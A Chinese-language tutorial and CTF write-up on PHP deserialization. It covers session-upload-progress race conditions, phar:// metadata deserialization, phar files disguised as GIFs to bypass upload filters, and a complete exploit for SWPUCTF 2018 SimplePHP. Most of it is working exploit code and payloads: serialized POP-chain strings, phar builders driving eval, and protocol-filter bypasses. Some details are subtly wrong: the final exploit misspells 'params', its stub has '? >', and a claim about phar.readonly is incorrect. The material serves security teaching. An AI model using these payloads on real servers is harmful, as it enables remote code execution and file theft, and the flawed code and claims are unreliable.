\1. foo3类中execute方法没有发现调用的地方，但是在foo2类中的魔术方法toString()中发现调用了同名方法，这里可以把foo2类中的$obj实例化为foo3类的对象，这样只要调用toString()就相当于调用foo3类中execute方法。

$this->obj = new foo3();

\2. 如果想触发foo2类中的魔术方法toString()被触发，就需要foo2类或者类下的一个对象被当作字符串调用。而在foo1类中发现echo了一个对象，这里可以把foo1类中的$varr实例化为foo2类的一个对象，这样通过echo，把一个对象当作一个字符串调用，就可以触发foo2类中的toString()方法。

$this->varr = new foo2();

class.php文件的调用链为：

foo3::execute <-- foo2::__toString <-- foo1::__destruct

思路有了现在来构造payload：

<?php
class foo1{
     function __construct(){
          $this->varr = new foo2();   
     }
}
class foo2{
     function __construct(){
          $this->obj = new foo3();
     }
}
class foo3{
     public $varr='phpinfo();';
}

$obj = new foo1();
echo serialize($obj);
?>

再来分析一下index.php文件：

1. 发现使用php引擎来读取Session文件，而系统默认是使用php_serialize引擎来存储Session， 通过不同引擎的差异解析就可以反序列化rce。

2. 文件直接require(class.php)，并且紧接着实例化一个foo1类的对象，这意味着使用php引擎解析完Session文件，反序列化payload直接就可以rce。

本地创建 up_sess.html，一个向 index.php 提交 POST 请求的表单文件，其中包括PHP_SESSION_UPLOAD_PROGRESS变量。

<form action="http://127.0.0.1/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

在文件上传的时候使用burp抓包，在 PHP_SESSION_UPLOAD_PROGRESS 的 value 值中添加' | '和序列化的字符串，payload为：

|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":1:{s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}

现在设置session.upload_progress.cleanup = On ，文件上传后，Session文件内容立即清空，这个时候就需要利用时间竞争来反序列化rce。

在文件上传的时候，抓取数据包，send to intruder模块，尝试大线程重放数据包：

开始爆破：

就这样通过时间竞争就可以实现反序列化rce。

phar伪协议触发php反序列化

通常我们在利用反序列化漏洞的时候，只能将序列化后的字符串传入unserialize()，随着代码安全性越来越高，利用难度也越来越大。但在不久前的Black Hat上提出利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性，拓展了php反序列化漏洞的攻击面。该方法在文件系统函数（file_exists()、is_dir()等）参数可控的情况下，配合phar://伪协议，可以不依赖unserialize()直接进行反序列化操作。

phar介绍和漏洞原理

phar就是php压缩文档。它可以把多个文件归档到同一个文件中，而且不经过解压就能被php访问并执行，与file://，php://等类似，也是一种流包装器。

phar文件有四部分构成：

1. a stub

识别phar拓展的标识，格式为：xxx<?php xxx; __HALT_COMPILER();?>，对应的函数 Phar::setStub。前期内容不限，但必须以 __HALT_COMPILER();?>结尾，否则phar扩展将无法识别这个文件为phar文件。

2. a manifest describing the contents

phar文件本质上是一种压缩文件，其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data，这是漏洞利用的核心部分。对应函数Phar::setMetadata---设置phar归档元数据。

3. the file contents

被压缩文件的内容。

4. [optional] a signature for verifying Phar integrity (phar file format only)

签名，放在文件末尾。对应函数Phar :: stopBuffering---停止缓冲对Phar存档的写入请求，并将更改保存到磁盘。

这里有两个关键点：

\1. 文件标识，必须以 __HALT_COMPILER();?> 结尾，但前面的内容没有限制，也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制

\2. 反序列化，phar存储的meta-data信息以序列化方式存储，当文件操作函数通过phar://伪协议解析phar文件时，文件内容会被解析成phar对象，然后phar对象内的meta-data会被反序列化。

meta-data是用serialize()生成并保存在phar文件中，当内核调用phar_parse_metadata()解析meta-data数据时，会调用php_var_unserialize()对其进行反序列化操作，因此会造成反序列化漏洞。

而在一些上传点，我们可以更改phar的文件头并且修改其后缀名绕过检测，如：test.gif，里面的meta-data却是我们提前写入的恶意代码，而且可利用的文件操作函数又很多，所以这是一种不错的绕过+执行的方法。

构造有序列化的phar文件

本地生成一个phar文件，要想使用Phar类里的方法，必须将php.ini文件中的phar.readonly配置项配置为0或Off

PHP内置phar类，其中的一些方法如下：

//实例一个phar对象供后续操作
$phar = new Phar('joker.phar');  
​
//开始缓冲Phar写操作 
$phar->startBuffering() 
​
//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>"); 
​
//以字符串的形式添加一个文件到 phar 档案 
$phar->addFromString('test.php','<?php echo 'this is test file';'); 
​
//把一个fileTophar目录下的文件归档到phar档案
$phar->buildFromDirectory('fileTophar') 
​
//该函数解压一个phar包，extractTo()提取phar文档内容
$phar->extractTo() 

生成phar文件的代码如下：

phar.php

<?php
    //反序列化payload构造
    class TestObject {
    }
    @unlink("phar.phar");
​
    //实例一个phar对象供后续操作，后缀名必须为phar
    $phar = new Phar("phar.phar"); 
    //开始缓冲对phar的写操作 
    $phar->startBuffering();
    
    //设置识别phar拓展的标识stub，必须以 __HALT_COMPILER(); ?> 结尾
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); 
​
    //将反序列化的对象放入该文件中
    $o = new TestObject();
    $o->data='i am bmjoker';
    //将自定义的归档元数据meta-data存入manifest
    $phar->setMetadata($o);
​
    //phar本质上是个压缩包，所以要添加压缩的文件和文件内容
    $phar->addFromString("test.txt", "bmjoker"); 
    //停止缓冲对phar的写操作
    $phar->stopBuffering();
?>

运行代码会生成一个phar.phar文件在当前目录下，使用winhex打开

可以明显的看到meta-data是以序列化的形式存储的，有序列化数据必然会有反序列化操作，php一大部分的文件系统函数在通过phar://伪协议解析phar文件时，都会将meta-data进行反序列化，测试后受影响的函数如下：

*受影响的文件操作函数列表*	** **
fileatime	filectime	file_exists	file_get_contents	touch	get_meta_tags
file_put_contents	file	filegroup	fopen	hash_file	get_headers
fileinode	filemtime	fileowner	fileperms	md5_file	getimagesize
is_dir	is_executable	is_file	is_link	sha1_file	getimagesizefromstring
is_readable	is_writable	is_writeable	parse_ini_file	hash_update_file	imageloadfont
copy	unlink	stat	readfile	hash_hmac_file	exif_imagetype

这些函数里面可以使用phar协议，当然还有常用的文件包含的几个函数 include、include_once、requrie、require_once

对刚才生成的phar使用文件操作函数实现反序列化读取：

<?php
    class TestObject{
        function __destruct(){
            echo $this->data;
        }
    }
​
    $filename =  "phar://phar.phar/test.txt";
    file_get_contents($filename);
?>

成功对meta-data里面的数据进行反序列化输出。

将phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到，php识别phar文件是通过其文件头的stub，更确切一点来说是 __HALT_COMPILER();?> 这段代码，对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

<?php
    class TestObject {
    }
​
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    //设置stub，增加gif文件头
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 
    $o = new TestObject();
    $o->data = 'i am bmjoker';
    //将自定义meta-data存入manifest
    $phar->setMetadata($o); 
    //添加要压缩的文件
    $phar->addFromString("test.txt", "test"); 
    //签名自动计算
    $phar->stopBuffering();
?>

运行代码会生成一个phar.phar文件在当前目录下，使用winhex打开

采用这种方法可以绕过一些通过校验文件头的上传点。

来个小demo：

upload_file.php：

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];
    if (file_exists("upload_file/" . $_FILES["file"]["name"])){
        echo $_FILES["file"]["name"] . " already exists. ";
    }
    else
    {
        move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/" .$_FILES["file"]["name"]);
        echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
    }
}
else{
    echo "Invalid file,you can only upload gif";
}
?>

upload_file.html

<body>
<form action="http://127.0.0.1/upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

file_un.php

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);   // 漏洞点
?>

upload_file.php对上传文件的类型，后缀进行了判断，限制为GIF文件。而file_un.php文件主要使用file_exists()判断文件是否存在，并且存在魔术方法__destruct()。大概思路为首先根据file_un.php写一个生成phar的php文件，当然需要绕过为gif的限制，所以需要加GIF89a，然后我们访问这个php文件后，生成了phar.phar，修改后缀为gif，上传到服务器，然后利用file_exists，使用phar://执行代码。

构造payload代码eval.php：

<?php
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>

访问eval.php，会在当前目录生成phar.phar，然后修改后缀 gif

访问file_upload.html将gif文件上传：

利用file_un.php使用phar协议来反序列化rce：

?filename=phar://upload_file/phar.gif

漏洞利用条件

\1. phar文件要能够上传到服务器端（如GET、POST），并且要有file_exists()，fopen()，file_get_contents()，include()等文件操作的函数

\2. 要有可用的魔术方法作为"跳板"；

\3. 文件操作函数的参数可控，且：，/，phar等特殊字符没有被过滤。

虽然某些函数能够支持phar://的协议，但是如果目标服务器没有关闭phar.readonly时，就不能正常执行反序列化操作。

在禁止phar开头的情况下的替代方法:

compress.zlib://phar://phar.phar/test.txt

compress.bzip2://phar://phar.phar/test.txt 

php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt

虽然会报warning，但是还是会执行。

CTF实战

这里取SWPUCTF中的一道利用phar伪协议触发反序列化的例子，题目地址：[BUUCTF在线评测SWPUCTF%202018]SimplePHP

点击" 查看文件 "，发现了标志性的文件包含语句" file.php?file= "

通过文件包含可以读取file.php，function.php，class.php，base.php文件的源码

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

base.php

<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

通读以上代码，来这个提取有用的信息：

1. base.php，用于前端展示的html代码。

2. function.php ，处理上传的文件，对文件的后缀做了白名单限制，只允许gif，jpeg，jpg，png这几种后缀。上传文件的命名方式为 md5(*FILES["file"](#FILES"file".).$*SERVER["REMOTE_ADDR"]).".jpg";，并且保存在/upload目录下。

3. class.php，看到这个文件内容很明显使用反序列化来构造文件读取

结合上图中只对http，https，file:，gopher，dict协议的过滤，并且上面还提醒：$this->source = phar://phar.jpg，很明显是使用phar伪协议触发反序列化。

通读代码，发现漏洞点在于可以通过调用Test类中的file_get_contents()方法造成任意文件读取。这是一个类的普通方法，要让这个方法执行，需要构造一个POP链：

\1. Test类中file_get()方法被同类下的get()方法调用，并传入value参数。这里有一个if判断，判断this->params[key\]是否存在，如果存在，这个this->params[key\]就会被传递到file_get_contents()方法进行读取。继续往上看，发现构造函数**contruct()给参数param赋值了一个数组，魔术方法**get()调用get()方法，并传入参数$key，而__get()方法在读取不可访问的属性的值时会被调用，寻找可以触发的地方。其实调用链为：

Test::file_get_contents() <-- Test::get()

\2. 在Show类的魔术方法toString()看到存在this-\>str\['str'\]-\>source，如果this->str['str']为Test类的一个实例，那么就会访问不存在的source变量，这里就可以触发get()方法

$this->str['str'] = new Test()

\3. 下一步就要寻找可以触发Show类中toString()方法的地方，最后在C1e4r类中析构函数destruct()内发现了echo方法，如果$this->test是Show类顶得一个实例化对象，当使用echo就会把这个对象当作字符串调用，就可以触发魔术方法__toString()

$this->test = new Show()

最后的调用链为：

file_get_contents() <-- Test::get() <-- Test::__get() <-- Show::toString() <-- C1e4r::__destruct()

*3. file.php*，从前端接收file参数，判断文件是否存在在/var/www/html/下，但是文件中没有unserialize()反序列化口，因为文件系统函数在通过phar://伪协议解析phar文件时，都会将meta-data进行反序列化，这里正好使用file_exists()对用户提交的参数进行解析，如果我们构造phar://解析phar文件，就可以反序列化payload，造成任意文件读取。

构造exp:

<?php
class C1e4r
{
    public $test;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}
$clear = new C1e4r();
$show = new Show();
$test = new Test();
$test->parms['source'] ="/var/www/html/f1ag.php";
$clear->str = $show;     //利用$this->test = $this->str；echo $this->test；
$show->str['str'] = $test; //利用$this->str['str']->source;
​
$phar = new Phar("oupeng.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($clear);     //触发的头是C1e4r类，所以传入C1e4r对象
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();
​
?>

在本地环境中生成phar文件：

本题没有对upload/目录做处理可以直接访问，由于对上传文件的后缀有检测，需要改为gif后缀，上传获取文件名

回到file.php页面，使用phar://伪协议解析上传的phar伪造的文件：

/file.php?file=phar://upload/46641c37ef2c8d2bd68ab582fdb25732.jpg

得到base64加密内容